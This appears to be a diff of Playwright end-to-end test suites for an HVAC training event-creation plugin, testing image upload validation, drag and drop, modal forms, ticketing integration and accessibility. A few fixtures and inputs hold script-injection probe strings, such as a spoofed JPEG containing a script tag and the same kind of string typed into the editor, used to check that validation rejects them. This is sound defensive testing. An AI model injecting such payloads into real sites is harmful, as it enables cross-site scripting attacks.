await expect(page.locator('.upload-error')).toBeVisible();
await expect(page.locator('.upload-error')).toContainText('Invalid file type');
// Should not show preview
await expect(page.locator('#image-preview img')).not.toBeVisible();
}
});
test('should enforce file size limits', async ({ page }) => {
const oversizedImagePath = path.join(testImagesDir, 'oversized-image.jpg');
await page.setInputFiles('#featured-image-input', oversizedImagePath);
await expect(page.locator('.upload-error')).toBeVisible();
await expect(page.locator('.upload-error')).toContainText('File size exceeds 5MB limit');
});
test('should validate actual image content vs extension', async ({ page }) => {
// File with .jpg extension but actually a text file
const fakeImagePath = path.join(testImagesDir, 'fake-image.jpg');
await page.setInputFiles('#featured-image-input', fakeImagePath);
await expect(page.locator('.upload-error')).toContainText('File content does not match extension');
});
test('should handle corrupted image files', async ({ page }) => {
const corruptedImagePath = path.join(testImagesDir, 'corrupted-image.jpg');
await page.setInputFiles('#featured-image-input', corruptedImagePath);
// Should show error for corrupted file
await expect(page.locator('.upload-error')).toContainText('Unable to process image file');
});
});
test.describe('Drag and Drop Functionality', () => {
test('should show visual feedback during drag over', async ({ page }) => {
const imagePath = path.join(testImagesDir, 'valid-image.jpg');
const file = fs.readFileSync(imagePath);
// Create drag data
const dataTransfer = await page.evaluateHandle((fileData) => {
const dt = new DataTransfer();
const file = new File([new Uint8Array(fileData)], 'valid-image.jpg', {
type: 'image/jpeg'
});
dt.items.add(file);
return dt;
}, Array.from(file));
const uploadArea = page.locator('.upload-area');
// Trigger dragenter event
await uploadArea.dispatchEvent('dragenter', { dataTransfer });
// Should show drag-over state
await expect(uploadArea).toHaveClass(/drag-over/);
await expect(page.locator('.drag-indicator')).toBeVisible();
// Trigger dragleave event
await uploadArea.dispatchEvent('dragleave', { dataTransfer });
// Should remove drag-over state
await expect(uploadArea).not.toHaveClass(/drag-over/);
});
test('should handle drop event with valid image', async ({ page }) => {
const imagePath = path.join(testImagesDir, 'valid-image.jpg');
const file = fs.readFileSync(imagePath);
await page.locator('.upload-area').dispatchEvent('drop', {
dataTransfer: await page.evaluateHandle((fileData) => {
const dt = new DataTransfer();
const file = new File([new Uint8Array(fileData)], 'valid-image.jpg', {
type: 'image/jpeg'
});
dt.items.add(file);
return dt;
}, Array.from(file))
});
// Should process dropped file
await expect(page.locator('#image-preview img')).toBeVisible();
await expect(page.locator('.image-info .filename')).toContainText('valid-image.jpg');
});
test('should handle multiple files dropped (take first valid)', async ({ page }) => {
const imagePath1 = path.join(testImagesDir, 'image1.jpg');
const imagePath2 = path.join(testImagesDir, 'image2.jpg');
const file1 = fs.readFileSync(imagePath1);
const file2 = fs.readFileSync(imagePath2);
await page.locator('.upload-area').dispatchEvent('drop', {
dataTransfer: await page.evaluateHandle((fileData) => {
const dt = new DataTransfer();
const file1 = new File([new Uint8Array(fileData.file1)], 'image1.jpg', {
type: 'image/jpeg'
});
const file2 = new File([new Uint8Array(fileData.file2)], 'image2.jpg', {
type: 'image/jpeg'
});
dt.items.add(file1);
dt.items.add(file2);
return dt;
}, { file1: Array.from(file1), file2: Array.from(file2) })
});
// Should process only the first file
await expect(page.locator('#image-preview img')).toBeVisible();
await expect(page.locator('.image-info .filename')).toContainText('image1.jpg');
// Should show warning about multiple files
await expect(page.locator('.upload-warning')).toContainText('Only the first image was selected');
});
test('should prevent default browser behavior on drag events', async ({ page }) => {
// Monitor for any navigation attempts
let navigationAttempted = false;
page.on('framenavigated', () => {
navigationAttempted = true;
});
const uploadArea = page.locator('.upload-area');
// Simulate drag events that might cause navigation
await uploadArea.dispatchEvent('dragover');
await uploadArea.dispatchEvent('dragenter');
await uploadArea.dispatchEvent('drop');
await page.waitForTimeout(500);
// Should not have attempted navigation
expect(navigationAttempted).toBe(false);
});
});
test.describe('Image Management', () => {
test('should allow image replacement', async ({ page }) => {
const firstImage = path.join(testImagesDir, 'image1.jpg');
const secondImage = path.join(testImagesDir, 'image2.jpg');
// Upload first image
await page.setInputFiles('#featured-image-input', firstImage);
await expect(page.locator('.image-info .filename')).toContainText('image1.jpg');
// Upload second image (should replace first)
await page.setInputFiles('#featured-image-input', secondImage);
await expect(page.locator('.image-info .filename')).toContainText('image2.jpg');
// Should only have one preview
const previewCount = await page.locator('#image-preview img').count();
expect(previewCount).toBe(1);
});
test('should allow image removal', async ({ page }) => {
const imagePath = path.join(testImagesDir, 'valid-image.jpg');
await page.setInputFiles('#featured-image-input', imagePath);
await expect(page.locator('#image-preview img')).toBeVisible();
// Click remove button
await page.click('.remove-image-btn');
// Should hide preview and restore upload area
await expect(page.locator('#image-preview')).not.toBeVisible();
await expect(page.locator('.upload-placeholder')).toBeVisible();
// Should clear file input
const inputValue = await page.locator('#featured-image-input').inputValue();
expect(inputValue).toBe('');
});
test('should show image metadata', async ({ page }) => {
const imagePath = path.join(testImagesDir, 'detailed-image.jpg');
await page.setInputFiles('#featured-image-input', imagePath);
// Should show file information
await expect(page.locator('.image-info .filename')).toBeVisible();
await expect(page.locator('.image-info .filesize')).toBeVisible();
await expect(page.locator('.image-info .dimensions')).toBeVisible();
// Verify information format
const filesize = await page.locator('.image-info .filesize').textContent();
expect(filesize).toMatch(/\d+(\.\d+)?\s?(KB|MB)/);
const dimensions = await page.locator('.image-info .dimensions').textContent();
expect(dimensions).toMatch(/\d+\s?×\s?\d+/);
});
test('should handle image orientation correctly', async ({ page }) => {
const portraitPath = path.join(testImagesDir, 'portrait-image.jpg');
const landscapePath = path.join(testImagesDir, 'landscape-image.jpg');
// Test portrait image
await page.setInputFiles('#featured-image-input', portraitPath);
await expect(page.locator('#image-preview img')).toBeVisible();
let imgBox = await page.locator('#image-preview img').boundingBox();
expect(imgBox.height).toBeGreaterThan(imgBox.width);
await page.click('.remove-image-btn');
// Test landscape image
await page.setInputFiles('#featured-image-input', landscapePath);
await expect(page.locator('#image-preview img')).toBeVisible();
imgBox = await page.locator('#image-preview img').boundingBox();
expect(imgBox.width).toBeGreaterThan(imgBox.height);
});
});
test.describe('Error Handling', () => {
test('should handle FileReader errors gracefully', async ({ page }) => {
// Mock FileReader to throw an error
await page.addInitScript(() => {
const originalFileReader = window.FileReader;
window.FileReader = function() {
const reader = new originalFileReader();
const originalReadAsDataURL = reader.readAsDataURL;
reader.readAsDataURL = function(file) {
setTimeout(() => {
if (this.onerror) {
this.onerror(new Error('FileReader error'));
}
}, 100);
};
return reader;
};
});
const imagePath = path.join(testImagesDir, 'valid-image.jpg');
await page.setInputFiles('#featured-image-input', imagePath);
await expect(page.locator('.upload-error')).toContainText('Error processing image file');
});
test('should recover from upload errors', async ({ page }) => {
const invalidPath = path.join(testImagesDir, 'invalid-file.txt');
// Try invalid file first
await page.setInputFiles('#featured-image-input', invalidPath);
await expect(page.locator('.upload-error')).toBeVisible();
// Should be able to upload valid file after error
const validPath = path.join(testImagesDir, 'valid-image.jpg');
await page.setInputFiles('#featured-image-input', validPath);
await expect(page.locator('.upload-error')).not.toBeVisible();
await expect(page.locator('#image-preview img')).toBeVisible();
});
test('should handle network errors during upload', async ({ page }) => {
// Mock network failure for any upload requests
await page.route('**/*upload*', route => route.abort());
const imagePath = path.join(testImagesDir, 'valid-image.jpg');
await page.setInputFiles('#featured-image-input', imagePath);
// Should handle network error gracefully
await expect(page.locator('.upload-error')).toContainText('Upload failed');
});
test('should validate against MIME type spoofing', async ({ page }) => {
// File with image extension but text content
const spoofedPath = path.join(testImagesDir, 'spoofed-image.jpg');
await page.setInputFiles('#featured-image-input', spoofedPath);
await expect(page.locator('.upload-error')).toContainText('File content validation failed');
});
});
test.describe('Accessibility', () => {
test('should support keyboard navigation', async ({ page }) => {
// Focus should move to file input
await page.keyboard.press('Tab');
await page.keyboard.press('Tab'); // Navigate to upload area
const focused = await page.evaluate(() =>
document.activeElement.classList.contains('upload-area') ||
document.activeElement.id === 'featured-image-input'
);
expect(focused).toBe(true);
// Enter key should trigger file dialog
await page.keyboard.press('Enter');
// File dialog behavior varies by browser - just ensure no errors
});
test('should have proper ARIA labels', async ({ page }) => {
const uploadArea = page.locator('.upload-area');
const fileInput = page.locator('#featured-image-input');
// Check for accessibility attributes
await expect(uploadArea).toHaveAttribute('role', 'button');
await expect(uploadArea).toHaveAttribute('aria-label');
await expect(fileInput).toHaveAttribute('aria-describedby');
});
test('should announce upload status to screen readers', async ({ page }) => {
const imagePath = path.join(testImagesDir, 'valid-image.jpg');
// Monitor for aria-live announcements
const announcements = [];
page.on('console', msg => {
if (msg.text().includes('aria-live')) {
announcements.push(msg.text());
}
});
await page.setInputFiles('#featured-image-input', imagePath);
// Should announce successful upload
await expect(page.locator('[aria-live="polite"]')).toContainText('Image uploaded successfully');
});
});
});
/**
* Helper function to create test image files
*/
async function createTestImages(dir) {
// Create minimal valid JPEG data
const validJpeg = Buffer.from([
0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46,
0x49, 0x46, 0x00, 0x01, 0x01, 0x01, 0x00, 0x48,
0x00, 0x48, 0x00, 0x00, 0xFF, 0xDB, 0x00, 0x43,
// ... truncated for brevity - minimal JPEG data
0xFF, 0xD9
]);
const testFiles = {
'valid-image.jpg': validJpeg,
'test-image.jpeg': validJpeg,
'test-image.png': Buffer.from([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]), // PNG header
'test-image.gif': Buffer.from([0x47, 0x49, 0x46, 0x38, 0x39, 0x61]), // GIF header
'test-image.webp': Buffer.from([0x52, 0x49, 0x46, 0x46]), // WEBP header
'large-image.jpg': Buffer.concat([validJpeg, Buffer.alloc(1024 * 1024)]), // ~1MB
'oversized-image.jpg': Buffer.alloc(6 * 1024 * 1024), // 6MB
'fake-image.jpg': Buffer.from('This is not an image file'),
'corrupted-image.jpg': Buffer.from([0xFF, 0xD8, 0x00, 0x00]), // Invalid JPEG
'document.pdf': Buffer.from('%PDF-1.4'),
'script.js': Buffer.from('alert("test");'),
'text-file.txt': Buffer.from('Plain text content'),
'video.mp4': Buffer.from('ftypmp42'),
'audio.mp3': Buffer.from('ID3'),
'image1.jpg': validJpeg,
'image2.jpg': validJpeg,
'detailed-image.jpg': validJpeg,
'portrait-image.jpg': validJpeg,
'landscape-image.jpg': validJpeg,
'spoofed-image.jpg': Buffer.from('<script>alert("XSS")</script>')
};
for (const [filename, data] of Object.entries(testFiles)) {
fs.writeFileSync(path.join(dir, filename), data);
}
}

View file

@ -0,0 +1,649 @@
const { test, expect } = require('@playwright/test');
const { HVACTestBase } = require('./page-objects/HVACTestBase');
/**
* Comprehensive Integration Test Suite
*
* Tests complete end-to-end workflows combining all UI/UX enhancement features:
* - Complete event creation workflow with all components
* - Template application with enhanced features
* - Form validation across all enhanced fields
* - TEC integration with ticketing and security
* - Responsive layout behavior
* - Performance and accessibility validation
* - Error recovery and edge cases
*/
test.describe('HVAC Event Creation - Comprehensive Integration', () => {
let hvacTest;
test.beforeEach(async ({ page }) => {
hvacTest = new HVACTestBase(page);
await hvacTest.loginAsTrainer();
await hvacTest.navigateToCreateEvent();
// Wait for all components to be ready
await expect(page.locator('.event-form-container')).toBeVisible();
await page.waitForLoadState('networkidle');
});
test.describe('Complete Event Creation Workflow', () => {
test('should create comprehensive event with all enhanced features', async ({ page }) => {
// Step 1: Basic Event Information
await page.fill('#event_title', 'Advanced HVAC Systems Training');
// Step 2: Rich Text Editor Description
await page.click('#event-description-editor');
await page.keyboard.type('This comprehensive training covers advanced HVAC diagnostic techniques.');
// Apply formatting
await page.keyboard.press('Control+a');
await page.click('[data-command="bold"]');
// Add more content
await page.keyboard.press('ArrowRight');
await page.keyboard.press('Enter');
await page.keyboard.type('Topics include:');
await page.click('[data-command="insertUnorderedList"]');
await page.keyboard.type('System commissioning');
// Verify rich content
const editorContent = await page.locator('#event-description-editor').innerHTML();
expect(editorContent).toContain('<b>');
expect(editorContent).toContain('<ul>');
// Step 3: Featured Image Upload
const imagePath = require('path').join(__dirname, 'fixtures', 'images', 'hvac-training.jpg');
await page.setInputFiles('#featured-image-input', imagePath);
await expect(page.locator('#image-preview img')).toBeVisible();
// Step 4: Multi-select Organizers
await page.click('.organizer-selector input');
await page.locator('.organizer-dropdown .option').first().click();
await page.click('.organizer-selector input');
await page.locator('.organizer-dropdown .option').nth(1).click();
// Verify multiple selections
const organizerCount = await page.locator('.organizer-selector .selected-item').count();
expect(organizerCount).toBe(2);
// Step 5: Multi-select Categories
await page.click('.category-selector input');
await page.locator('.category-dropdown .option').first().click();
// Step 6: Single Venue Selection
await page.click('.venue-selector input');
await page.locator('.venue-dropdown .option').first().click();
await expect(page.locator('.selected-venue .venue-name')).toBeVisible();
// Step 7: Enable Virtual Event
await page.click('.virtual-event-toggle');
await page.fill('#virtual-meeting-url', 'https://zoom.us/j/987654321');
await page.selectOption('#virtual-meeting-platform', 'zoom');
await page.fill('#virtual-meeting-id', '987654321');
await page.fill('#virtual-meeting-password', 'hvac2024');
// Step 8: Enable Ticketing
await page.click('.ticketing-toggle');
await page.fill('#ticket-name', 'Early Bird Registration');
await page.fill('#ticket-price', '149.99');
await page.fill('#ticket-capacity', '50');
// Set sales dates
const tomorrow = new Date();
tomorrow.setDate(tomorrow.getDate() + 1);
const nextWeek = new Date();
nextWeek.setDate(nextWeek.getDate() + 7);
await page.fill('#ticket-sales-start', tomorrow.toISOString().split('T')[0]);
await page.fill('#ticket-sales-end', nextWeek.toISOString().split('T')[0]);
// Step 9: Set Event Dates and Times
const eventDate = new Date();
eventDate.setDate(eventDate.getDate() + 14);
await page.fill('#event_start_date', eventDate.toISOString().split('T')[0]);
await page.fill('#event_start_time', '09:00');
await page.fill('#event_end_time', '17:00');
// Step 10: Submit Form
await page.click('button[type="submit"]');
// Verify submission success
await expect(page.locator('.success-message')).toContainText('Event created successfully');
// Verify redirect to event management
await expect(page).toHaveURL(/manage-event/);
});
test('should apply template and customize with enhanced features', async ({ page }) => {
// Open template modal
await page.click('.template-selector-btn');
await expect(page.locator('#template-modal')).toBeVisible();
// Select a template
await page.click('.template-option[data-template="manual-j-lidar"]');
await page.click('#apply-template');
// Verify template data applied
const titleValue = await page.locator('#event_title').inputValue();
expect(titleValue).toContain('Manual J LiDAR');
const descriptionContent = await page.locator('#event-description-editor').innerHTML();
expect(descriptionContent).toContain('iPad-based Manual J calculations');
// Customize with enhanced features
// Add featured image
const imagePath = require('path').join(__dirname, 'fixtures', 'images', 'manual-j-training.jpg');
await page.setInputFiles('#featured-image-input', imagePath);
// Enhance description with rich text
await page.click('#event-description-editor');
await page.keyboard.press('Control+a');
await page.click('[data-command="bold"]');
// Add organizer
await page.click('.organizer-selector input');
await page.locator('.organizer-dropdown .option').first().click();
// Enable virtual event with template defaults overridden
await page.click('.virtual-event-toggle');
await page.fill('#virtual-meeting-url', 'https://teams.microsoft.com/custom-meeting');
// Submit customized template
await page.click('button[type="submit"]');
await expect(page.locator('.success-message')).toBeVisible();
});
test('should handle complex multi-step form validation', async ({ page }) => {
// Start filling form with some invalid data
await page.fill('#event_title', 'Te'); // Too short
// Try rich text with XSS attempt
await page.click('#event-description-editor');
await page.keyboard.type('<script>alert("xss")</script>Description');
// Upload invalid file
const invalidFile = require('path').join(__dirname, 'fixtures', 'images', 'malicious-script.js');
if (require('fs').existsSync(invalidFile)) {
await page.setInputFiles('#featured-image-input', invalidFile);
await expect(page.locator('.upload-error')).toContainText('Invalid file type');
}
// Try to exceed organizer limit
await page.click('.organizer-selector input');
for (let i = 0; i < 5; i++) {
const option = page.locator('.organizer-dropdown .option').nth(i);
if (await option.isVisible()) {
await option.click();
await page.click('.organizer-selector input');
}
}
// Should enforce 3 organizer limit
const organizerCount = await page.locator('.organizer-selector .selected-item').count();
expect(organizerCount).toBeLessThanOrEqual(3);
// Enable virtual event with invalid URL
await page.click('.virtual-event-toggle');
await page.fill('#virtual-meeting-url', 'not-a-valid-url');
// Enable ticketing with invalid price
await page.click('.ticketing-toggle');
await page.fill('#ticket-price', '-50');
// Try to submit - should show comprehensive validation
await page.click('button[type="submit"]');
// Verify multiple validation errors
await expect(page.locator('.validation-summary')).toContainText('Please correct the following errors');
await expect(page.locator('#event_title-error')).toBeVisible();
await expect(page.locator('#virtual-meeting-url-error')).toBeVisible();
await expect(page.locator('#ticket-price-error')).toBeVisible();
// Form should remain on page for correction
await expect(page).toHaveURL(/create-event/);
});
});
test.describe('TEC Integration Workflows', () => {
test('should create event with TEC ticketing integration', async ({ page }) => {
// Fill basic event info
await page.fill('#event_title', 'TEC Integration Test Event');
await page.click('#event-description-editor');
await page.keyboard.type('Testing TEC ticketing integration');
// Enable ticketing with TEC-specific fields
await page.click('.ticketing-toggle');
// Configure ticket with TEC fieldset requirements
await page.fill('#ticket-name', 'Standard Registration');
await page.fill('#ticket-price', '99.00');
await page.fill('#ticket-capacity', '100');
// TEC fieldset integration - mandatory attendee fields
await expect(page.locator('.tec-attendee-fields')).toBeVisible();
await expect(page.locator('#require-attendee-info')).toBeChecked(); // Should be mandatory
// Verify TEC fieldset fields are present
await expect(page.locator('.fieldset-field[data-field="first_name"]')).toBeVisible();
await expect(page.locator('.fieldset-field[data-field="last_name"]')).toBeVisible();
// Set event date and venue (required for TEC)
const eventDate = new Date();
eventDate.setDate(eventDate.getDate() + 7);
await page.fill('#event_start_date', eventDate.toISOString().split('T')[0]);
await page.click('.venue-selector input');
await page.locator('.venue-dropdown .option').first().click();
// Mock TEC API response for ticket creation
await page.route('**/wp-admin/admin-ajax.php', async route => {
const postData = route.request().postData() || '';
if (postData.includes('create_tec_event')) {
await route.fulfill({
contentType: 'application/json',
body: JSON.stringify({
success: true,
data: {
event_id: 12345,
ticket_id: 67890,
tec_url: '/events/tec-integration-test-event/'
}
})
});
} else {
await route.continue();
}
});
// Submit and verify TEC integration
await page.click('button[type="submit"]');
await expect(page.locator('.success-message')).toContainText('Event created with TEC integration');
// Should redirect to TEC management interface
await expect(page).toHaveURL(/tec-manage-event/);
});
test('should handle TEC API failures gracefully', async ({ page }) => {
await page.fill('#event_title', 'TEC Failure Test');
await page.click('.ticketing-toggle');
await page.fill('#ticket-price', '50.00');
// Mock TEC API failure
await page.route('**/wp-admin/admin-ajax.php', route => {
if (route.request().postData()?.includes('create_tec_event')) {
route.fulfill({
status: 500,
body: 'TEC API Error'
});
} else {
route.continue();
}
});
await page.click('button[type="submit"]');
// Should show fallback options
await expect(page.locator('.tec-error-fallback')).toBeVisible();
await expect(page.locator('.create-without-tickets-btn')).toBeVisible();
await expect(page.locator('.retry-tec-integration-btn')).toBeVisible();
// Test retry functionality
await page.click('.retry-tec-integration-btn');
await expect(page.locator('.integration-retry-status')).toBeVisible();
});
test('should validate TEC fieldset requirements', async ({ page }) => {
await page.fill('#event_title', 'Fieldset Validation Test');
await page.click('.ticketing-toggle');
// Mock fieldset data from Post ID 6235
await page.addInitScript(() => {
window.tecFieldsetData = {
6235: {
fields: [
{ name: 'first_name', required: true, type: 'text' },
{ name: 'last_name', required: true, type: 'text' },
{ name: 'company', required: false, type: 'text' },
{ name: 'experience_level', required: true, type: 'select' }
]
}
};
});
// Should show fieldset validation
await expect(page.locator('.tec-fieldset-validation')).toBeVisible();
// Required fields should be marked
await expect(page.locator('[data-field="first_name"] .required-indicator')).toBeVisible();
await expect(page.locator('[data-field="last_name"] .required-indicator')).toBeVisible();
// Optional fields should not be marked required
await expect(page.locator('[data-field="company"] .required-indicator')).not.toBeVisible();
});
});
test.describe('Responsive Layout Behavior', () => {
test('should adapt to mobile viewport', async ({ page }) => {
// Test desktop layout first
await page.setViewportSize({ width: 1200, height: 800 });
await page.reload();
await hvacTest.navigateToCreateEvent();
// Verify desktop layout - fields should be in rows
const priceCapacityRow = page.locator('.form-row.price-capacity');
await expect(priceCapacityRow.locator('.form-field')).toHaveCount(2);
// Switch to mobile viewport
await page.setViewportSize({ width: 375, height: 667 });
// Fields should stack vertically
const priceField = page.locator('#ticket-price');
const capacityField = page.locator('#ticket-capacity');
const priceBox = await priceField.boundingBox();
const capacityBox = await capacityField.boundingBox();
if (priceBox && capacityBox) {
expect(capacityBox.y).toBeGreaterThan(priceBox.y + priceBox.height);
}
});
test('should maintain functionality on touch devices', async ({ page }) => {
// Simulate touch device
await page.setViewportSize({ width: 768, height: 1024 });
// Test touch interactions with dropdowns
await page.tap('.organizer-selector input');
await expect(page.locator('.organizer-dropdown')).toBeVisible();
await page.tap('.organizer-dropdown .option:first-child');
await expect(page.locator('.organizer-selector .selected-item')).toBeVisible();
// Test touch interaction with toggles
await page.tap('.virtual-event-toggle');
await expect(page.locator('.virtual-event-config')).toBeVisible();
// Test modal interaction on touch
await page.tap('.organizer-selector .create-new-btn');
await expect(page.locator('#organizer-modal')).toBeVisible();
// Touch outside to close modal
await page.tap('#organizer-modal .modal-backdrop', { position: { x: 10, y: 10 } });
await expect(page.locator('#organizer-modal')).not.toBeVisible();
});
test('should maintain text editor functionality on mobile', async ({ page }) => {
await page.setViewportSize({ width: 375, height: 667 });
// Rich text editor should work on mobile
await page.tap('#event-description-editor');
await page.keyboard.type('Mobile text editing test');
// Toolbar should be accessible
await page.tap('[data-command="bold"]');
const editorContent = await page.locator('#event-description-editor').innerHTML();
expect(editorContent).toContain('<b>');
// Virtual keyboard should not interfere
await page.keyboard.press('Enter');
await page.keyboard.type('New line text');
expect(await page.locator('#event-description-editor').textContent()).toContain('New line text');
});
});
test.describe('Performance and Load Testing', () => {
test('should handle large datasets efficiently', async ({ page }) => {
// Mock large datasets
await page.addInitScript(() => {
window.mockLargeDatasets = true;
window.organizerCount = 500;
window.venueCount = 200;
window.categoryCount = 100;
});
// Measure selector performance
const startTime = Date.now();
await page.click('.organizer-selector input');
await expect(page.locator('.organizer-dropdown')).toBeVisible();
const loadTime = Date.now() - startTime;
expect(loadTime).toBeLessThan(2000); // Should load within 2 seconds
// Search should be responsive
const searchStart = Date.now();
await page.fill('.organizer-selector input', 'search-term');
await expect(page.locator('.organizer-dropdown .option:visible')).toHaveCount({ min: 1 });
const searchTime = Date.now() - searchStart;
expect(searchTime).toBeLessThan(500); // Search should be near-instant
});
test('should not leak memory during extended use', async ({ page }) => {
// Simulate extended use patterns
for (let i = 0; i < 10; i++) {
// Open and close modals repeatedly
await page.click('.organizer-selector .create-new-btn');
await page.keyboard.press('Escape');
// Toggle features repeatedly
await page.click('.virtual-event-toggle');
await page.click('.virtual-event-toggle');
// Clear and set form data
await page.fill('#event_title', `Test Event ${i}`);
await page.fill('#event_title', '');
}
// Form should remain responsive
await page.click('.organizer-selector input');
await expect(page.locator('.organizer-dropdown')).toBeVisible();
});
test('should optimize network requests', async ({ page }) => {
const networkRequests = [];
page.on('request', request => {
if (request.url().includes('admin-ajax.php')) {
networkRequests.push(request.url());
}
});
// Perform actions that could trigger multiple requests
await page.click('.organizer-selector input'); // Load organizers
await page.click('.category-selector input'); // Load categories
await page.click('.venue-selector input'); // Load venues
// Should batch or cache requests efficiently
const uniqueRequests = [...new Set(networkRequests)];
expect(networkRequests.length).toBeLessThan(10); // Reasonable limit
// Repeated actions should use cache
await page.click('.organizer-selector input');
const requestsAfterCache = networkRequests.length;
await page.click('.organizer-selector input');
expect(networkRequests.length).toBe(requestsAfterCache); // No new requests
});
});
test.describe('Accessibility Comprehensive', () => {
test('should support full keyboard navigation workflow', async ({ page }) => {
// Start keyboard navigation from beginning
await page.keyboard.press('Tab'); // Title field
let activeElement = await page.evaluate(() => document.activeElement.id);
expect(activeElement).toBe('event_title');
// Continue through all interactive elements
const expectedOrder = [
'event_title',
'event-description-editor',
'featured-image-input',
'organizer-selector',
'category-selector',
'venue-selector',
'virtual-event-toggle',
'rsvp-toggle',
'ticketing-toggle'
];
for (let i = 1; i < expectedOrder.length; i++) {
await page.keyboard.press('Tab');
activeElement = await page.evaluate(() =>
document.activeElement.id || document.activeElement.className
);
expect(activeElement).toContain(expectedOrder[i]);
}
});
test('should provide comprehensive screen reader support', async ({ page }) => {
// Check for ARIA landmarks
await expect(page.locator('[role="main"]')).toBeVisible();
await expect(page.locator('[role="form"]')).toBeVisible();
// Check form sections have proper headings
await expect(page.locator('h2, h3').filter({ hasText: 'Event Details' })).toBeVisible();
await expect(page.locator('h2, h3').filter({ hasText: 'Virtual Event Configuration' })).toBeVisible();
// Check for live regions
await expect(page.locator('[aria-live="polite"]')).toBeVisible();
await expect(page.locator('[aria-live="assertive"]')).toBeVisible();
// Test dynamic content announcements
await page.click('.virtual-event-toggle');
await expect(page.locator('[aria-live="polite"]')).toContainText('Virtual event section expanded');
});
test('should meet WCAG 2.1 AA standards', async ({ page }) => {
// Color contrast - check for sufficient contrast ratios
const contrastIssues = await page.evaluate(() => {
// This would typically use axe-core or similar tool
const issues = [];
const buttons = document.querySelectorAll('button');
buttons.forEach(btn => {
const style = getComputedStyle(btn);
// Simplified contrast check
if (style.backgroundColor === style.color) {
issues.push(`Button has insufficient contrast: ${btn.textContent}`);
}
});
return issues;
});
expect(contrastIssues.length).toBe(0);
// Focus indicators should be visible
await page.keyboard.press('Tab');
const hasFocusIndicator = await page.evaluate(() => {
const focused = document.activeElement;
const style = getComputedStyle(focused);
return style.outline !== 'none' || style.boxShadow !== 'none';
});
expect(hasFocusIndicator).toBe(true);
// Text should be resizable to 200% without loss of functionality
await page.evaluate(() => {
document.body.style.fontSize = '200%';
});
// Form should still be usable
await expect(page.locator('#event_title')).toBeVisible();
await expect(page.locator('.submit-btn')).toBeVisible();
});
});
test.describe('Error Recovery and Edge Cases', () => {
test('should recover from network interruptions', async ({ page }) => {
await page.fill('#event_title', 'Network Recovery Test');
// Simulate network failure during form submission
await page.route('**/wp-admin/admin-ajax.php', route => route.abort());
await page.click('button[type="submit"]');
// Should show network error
await expect(page.locator('.network-error')).toBeVisible();
await expect(page.locator('.retry-btn')).toBeVisible();
// Restore network
await page.unroute('**/wp-admin/admin-ajax.php');
// Retry should work
await page.click('.retry-btn');
await expect(page.locator('.success-message')).toBeVisible();
});
test('should handle browser storage limitations', async ({ page }) => {
// Fill form with large amounts of data
await page.fill('#event_title', 'Storage Limit Test');
const largeDescription = 'A'.repeat(50000); // 50KB description
await page.click('#event-description-editor');
await page.keyboard.type(largeDescription.substring(0, 1000)); // Type subset due to performance
// Should handle gracefully without breaking
await expect(page.locator('#event-description-editor')).toBeVisible();
// Autosave should work or show appropriate warning
const hasAutosave = await page.locator('.autosave-status').isVisible();
const hasStorageWarning = await page.locator('.storage-warning').isVisible();
expect(hasAutosave || hasStorageWarning).toBe(true);
});
test('should handle concurrent user modifications', async ({ page }) => {
await page.fill('#event_title', 'Concurrent Modification Test');
// Simulate another user modifying the same resource
await page.evaluate(() => {
// Mock concurrent modification
window.dispatchEvent(new CustomEvent('concurrent-modification-detected', {
detail: { resource: 'event_draft', modifiedBy: 'another_user' }
}));
});
// Should show conflict resolution interface
await expect(page.locator('.conflict-resolution')).toBeVisible();
await expect(page.locator('.merge-changes-btn')).toBeVisible();
await expect(page.locator('.override-changes-btn')).toBeVisible();
// Test conflict resolution
await page.click('.override-changes-btn');
await expect(page.locator('.conflict-resolved')).toBeVisible();
});
test('should maintain data integrity during browser crashes', async ({ page }) => {
// Fill comprehensive form data
await page.fill('#event_title', 'Crash Recovery Test');
await page.click('#event-description-editor');
await page.keyboard.type('Important event description');
// Enable features and fill data
await page.click('.virtual-event-toggle');
await page.fill('#virtual-meeting-url', 'https://zoom.us/j/recovery-test');
await page.click('.ticketing-toggle');
await page.fill('#ticket-price', '75.00');
// Simulate browser crash/refresh
await page.reload();
await hvacTest.navigateToCreateEvent();
// Data should be recovered from autosave or draft
const recoveredTitle = await page.locator('#event_title').inputValue();
const isVirtualEnabled = await page.locator('.virtual-event-toggle').isChecked();
// Should have some form of data recovery
expect(recoveredTitle === 'Crash Recovery Test' ||
await page.locator('.recover-draft-btn').isVisible()).toBe(true);
if (isVirtualEnabled) {
const recoveredUrl = await page.locator('#virtual-meeting-url').inputValue();
expect(recoveredUrl).toBe('https://zoom.us/j/recovery-test');
}
});
});
});

598
tests/test-modal-forms.js Normal file
View file

@ -0,0 +1,598 @@
const { test, expect } = require('@playwright/test');
const { HVACTestBase } = require('./page-objects/HVACTestBase');
/**
* Modal Form Management Test Suite
*
* Tests the modal system for creating new entities including:
* - Organizer creation modal
* - Category creation modal
* - Venue creation modal
* - Form validation and error handling
* - AJAX submission and response handling
* - Modal lifecycle (open, close, reset)
* - Backdrop interaction and keyboard controls
* - Data persistence and form integration
*/
test.describe('Modal Form Management System', () => {
let hvacTest;
test.beforeEach(async ({ page }) => {
hvacTest = new HVACTestBase(page);
await hvacTest.loginAsTrainer();
await hvacTest.navigateToCreateEvent();
// Wait for selectors and modals to be ready
await expect(page.locator('.organizer-selector')).toBeVisible();
await expect(page.locator('.category-selector')).toBeVisible();
await expect(page.locator('.venue-selector')).toBeVisible();
});
test.describe('Organizer Modal', () => {
test('should open organizer creation modal correctly', async ({ page }) => {
await page.click('.organizer-selector .create-new-btn');
// Modal should be visible
await expect(page.locator('#organizer-modal')).toBeVisible();
await expect(page.locator('#organizer-modal .modal-backdrop')).toBeVisible();
// Check modal structure
await expect(page.locator('#organizer-modal .modal-title')).toContainText('Create New Organizer');
await expect(page.locator('#organizer-modal .modal-close')).toBeVisible();
// Form fields should be visible and empty
await expect(page.locator('#new-organizer-name')).toBeVisible();
await expect(page.locator('#new-organizer-email')).toBeVisible();
await expect(page.locator('#new-organizer-phone')).toBeVisible();
await expect(page.locator('#new-organizer-organization')).toBeVisible();
// Verify initial state
const nameValue = await page.locator('#new-organizer-name').inputValue();
expect(nameValue).toBe('');
});
test('should close modal with close button', async ({ page }) => {
await page.click('.organizer-selector .create-new-btn');
await expect(page.locator('#organizer-modal')).toBeVisible();
await page.click('#organizer-modal .modal-close');
await expect(page.locator('#organizer-modal')).not.toBeVisible();
});
test('should close modal with backdrop click', async ({ page }) => {
